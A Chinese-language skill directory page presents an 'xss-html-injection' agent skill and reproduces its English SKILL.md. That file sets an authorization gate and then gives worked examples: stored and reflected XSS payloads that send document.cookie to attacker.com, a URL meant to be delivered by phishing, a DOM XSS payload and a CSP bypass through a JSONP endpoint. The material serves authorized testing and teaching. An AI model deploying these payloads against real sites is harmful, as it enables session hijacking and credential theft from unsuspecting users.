跳到正文
Skillpedia
安全48k · #6218

xss-html-injection

它能做什么

这个工具可以帮你检查网站是否存在安全漏洞,这些漏洞可能让攻击者窃取信息或控制用户账户。它会模拟常见的攻击方式,来找出这些漏洞。

适用场景

  • ✓在你有权分析的网站上测试其安全性时。
  • ✓在受控环境中学习安全漏洞的运作原理时。
  • ✓检查网站的防御措施能否正确抵御攻击时。

技能链接

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/xss-html-injection/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/xss-html-injection/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我想检查网站“example.com”是否存在 XSS 和 HTML 注入漏洞。”

每周 5 个新技能,1 分钟读完。

工作原理

这个工具会向网站发送伪装过的恶意代码,并观察网站的反应。如果网站显示或执行了这些代码,就可能存在安全漏洞。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

Cross-Site Scripting and HTML Injection Testing

Detailed Guide

Read the detailed guide before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

Constraints and Guardrails

Operational Boundaries

  • Never inject payloads that could damage production systems
  • Limit cookie/session capture to demonstration purposes only
  • Avoid payloads that could spread to unintended users (worm behavior)
  • Do not exfiltrate real user data beyond scope requirements

Technical Limitations

  • Content Security Policy (CSP) may block inline scripts
  • HttpOnly cookies prevent JavaScript access
  • SameSite cookie attributes limit cross-origin attacks
  • Modern frameworks often auto-escape outputs

Legal and Ethical Requirements

  • Written authorization required before testing
  • Report critical XSS vulnerabilities immediately
  • Handle captured credentials per data protection agreements
  • Do not use discovered vulnerabilities for unauthorized access

Examples

Example 1: Stored XSS in Comment Section

Scenario: Blog comment feature vulnerable to stored XSS

Detection:

POST /api/comments
Content-Type: application/json

{"body": "<script>alert('XSS')</script>", "postId": 123}

Observation: Comment renders and script executes for all viewers

Exploitation Payload:

<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Result: Every user viewing the comment has their session cookie sent to attacker's server.

Example 2: Reflected XSS via Search Parameter

Scenario: Search results page reflects query without encoding

Vulnerable URL:

https://shop.example.com/search?q=test

Detection Test:

https://shop.example.com/search?q=<script>alert(document.domain)</script>

Crafted Attack URL:

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E

Delivery: URL sent via phishing email to target user.

Example 3: DOM-Based XSS via Hash Fragment

Scenario: JavaScript reads URL hash and inserts into DOM

Vulnerable Code:

document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);

Attack URL:

https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>

Result: Script executes entirely client-side; payload never touches server.

Example 4: CSP Bypass via JSONP Endpoint

Scenario: Site has CSP but allows trusted CDN

CSP Header:

Content-Security-Policy: script-src 'self' https://cdn.trusted.com

Bypass: Find JSONP endpoint on trusted domain:

<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>

Result: CSP bypassed using allowed script source.

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

常见问题

什么是 XSS?

XSS(跨站脚本攻击)是一种攻击方式:攻击者在可信网站中注入恶意脚本,这些脚本随后会在其他用户的浏览器中执行。

什么是 HTML 注入?

HTML 注入是指攻击者在网页中插入 HTML 代码,从而出于恶意目的改变页面的内容或行为。

使用这个工具需要获得许可吗?

需要。在进行任何测试之前,你必须事先获得网站所有者明确的书面许可。未经授权使用此工具是违法的。

详情

作者的原始描述

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms.

repo: sickn33/agentic-awesome-skills

热度

GitHub 星标
48k
排名
#6218
许可证
MIT
更新时间
2026/10/15

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能